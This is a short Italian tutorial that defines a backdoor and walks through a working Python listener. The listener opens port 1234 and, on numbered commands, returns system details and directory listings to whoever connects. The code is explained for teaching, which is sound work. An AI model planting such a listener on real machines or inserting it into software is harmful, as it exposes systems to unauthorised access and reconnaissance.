

COS'È UNA BACKDOOR?

Una **backdoor**, è un metodo che permette di accedere ad un servizio aggirando il sistema di autenticazione.

SPIEGAZIONE DEL CODICE

```
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print("Client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except: continue

    if (data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif (data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif (data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

Questo codice è l'implementazione di una backdoor, in linguaggio python.

Per prima cosa si crea un canale di ascolto, il *socket*, esso permette di leggere i pacchetti in transito su un determinato indirizzo IP:porta. Successivamente si leggono i dati che vengono scambiati.

Se l'utente inserisce '1', vengono restituite le informazioni della macchina e del sistema operativo.

Se l'utente inserisce '2', viene restituita la struttura del file system (file e cartelle).

Se l'utente inserisce '0', viene chiusa e riaperta la connessione.